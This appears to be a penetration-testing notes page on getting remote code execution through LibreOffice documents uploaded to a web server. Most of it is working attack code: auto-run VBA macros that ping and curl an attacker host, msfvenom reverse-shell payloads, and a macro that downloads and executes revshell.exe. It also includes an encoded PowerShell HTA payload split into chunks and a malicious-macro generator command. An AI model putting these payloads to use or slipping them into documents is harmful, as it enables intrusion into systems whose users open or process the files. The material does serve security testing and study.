# LibreOffice

## File Types

### ODT

The ODT file type is the **default document format used by LibreOffice Writer** and other OpenDocument-compatible applications. It belongs to the [OpenDocument Text](https://www.libreoffice.org/discover/what-is-opendocument/) (ODT) standard, which defines how word processing documents are structured, stored, and exchanged across different platforms. Internally, an ODT file is **a compressed ZIP archive that contains multiple XML-based files and directories**. These components define the document’s content, formatting, metadata, and embedded elements such as images or macros. Because of this structure, an ODT can be unpacked with standard archive utilities and examined directly, making it easier to analyze or manipulate at a granular level.

### ODS

ODS files are **spreadsheets created with LibreOffice Calc**. They support macros written in LibreOffice Basic, Python, or JavaScript, which can be triggered by events such as opening the document, activating a sheet, or changing cell contents.

## Macros

When there is upload functionality on a webserver accepting `.odt` files, macros can be leveraged to achieve RCE. Simple payloads, like pingbacks and `GET` requests, can used as a test:

1. Create a basic macro (1) under the document's name (2).
2. Try some testing payloads first, such as pingbacks and `GET` requests (3).
3. Make the macro execute as soon as the document opens (4 & 5).

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2FVVxtzscmLU8Udgqmncp7%2Fodt_macro.png?alt=media&#x26;token=413628d6-7659-45ad-98ce-de846eaa3689" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Testing Payloads" %}
Basic:

```vba
Sub Main
	' Ping the attacking host one time
	Shell("cmd /c ping -n 1 192.168.45.241")
	' Wait for two seconds
	Wait(200)
	' Send a GET request to an attacker-controlled webserver 
	Shell("cmd /c curl 'http://192.168.45.241/test'")
End Sub
```

More robust:

```vba
Sub DocumentOpen
    ' Declare a variable to hold the shell object
    Dim oShell
    
    ' Create a Wscript.Shell COM object (Windows native)
    oShell = CreateObject("Wscript.Shell")
    
    ' Use .Run to execute a command
    oShell.Run "cmd.exe /c ping -n 1 192.168.45.241"
    
    ' Use .Run again to execute another command
    oShell.Run "cmd.exe /c curl http://192.168.45.241/test"
End Sub
```

Powershell-based:

{% code overflow="wrap" %}
```vba
Sub DocumentOpen
    Dim oShell
    oShell = CreateObject("Wscript.Shell")
    oShell.Run "powershell.exe -c Invoke-WebRequest -Uri http://192.168.45.241/test -UseBasicParsing"
End Sub
```
{% endcode %}

Check if the ping/request reaches the attacking host:

{% code overflow="wrap" %}
```bash
# Test pingback
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
22:05:27.230793 IP craft > 192.168.45.241: ICMP echo request, id 1, seq 1, length 40
22:05:27.230891 IP 192.168.45.241 > craft: ICMP echo reply, id 1, seq 1, length 40
​
# Test HTTP GET request
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.156.169 - - [16/Aug/2025 22:07:44] code 404, message File not found
192.168.156.169 - - [16/Aug/2025 22:07:44] "GET /test HTTP/1.1" 404 -
```
{% endcode %}
{% endtab %}

{% tab title="RevShell" %}
Once the test payloads are validated, they can be mofidied as desired:

{% code overflow="wrap" %}
```bash
# Create a reverse shell payload
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=443 -f exe -o revshell_443.exe
```
{% endcode %}

{% code overflow="wrap" %}
```vba
Sub Main
	' Download the payload on the target
	Shell("cmd /c 'curl http://192.168.45.241:443/revshell.exe' -o 'c:\windows\temp\revshell.exe'")
	' Wait for five seconds to ensure the payload has been downloaded
	Wait(5000)
	' Execute the payload
	Shell("cmd /c 'c:\windows\temp\revshell.exe'")
End Sub
```
{% endcode %}
{% endtab %}

{% tab title="RevShell (HTA)" %}
An HTA (HTML Application) file is a Windows application executed by `mshta.exe`. It contains HTML and scripts (VBScript or JavaScript) that run with the full privileges of the current user, allowing direct execution of system commands and payloads. HTAs are commonly used in pentesting to deliver payloads that run immediately when opened.

{% code overflow="wrap" %}
```bash
# Create an HTA file
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.118.8 LPORT=443 -f hta-psh -o evil.hta
```
{% endcode %}

Convert the long string into smaller chunks:

{% hint style="warning" %}
VBA has a 255-character limit for literal strings, but this restriction does not apply to strings stored in variables.
{% endhint %}

{% code title="string_splitter.py" %}
```python
#!/usr/bin/python3
s = "powershell.exe -nop -w hidden -e aQB...<SNIP>...OwA="
​
n = 50
for i in range(0, len(s), n):
    chunk = s[i:i + n]
    print('Str = Str + "' + chunk + '"')
```
{% endcode %}

```vba
Sub Exploit
​
   Dim Str As String
​
	Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
	Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"
	<SNIP>
	Str = Str + "uAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzA"
	Str = Str + "HMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA="
​
   Shell(Str)
​
End Sub
```
{% endtab %}

{% tab title="RevShell (MMG-LO)" %}
The [Malicious Macro Generator LibreOffice (MMG-LO)](https://github.com/0bfxgh0st/MMG-LO/) can be used to automate the process:

```bash
$ python3 mmg-ods.py windows 192.168.45.241 443
[+] Payload: windows reverse shell
[+] Creating malicious .ods file
​
Done.
```
{% endtab %}
{% endtabs %}
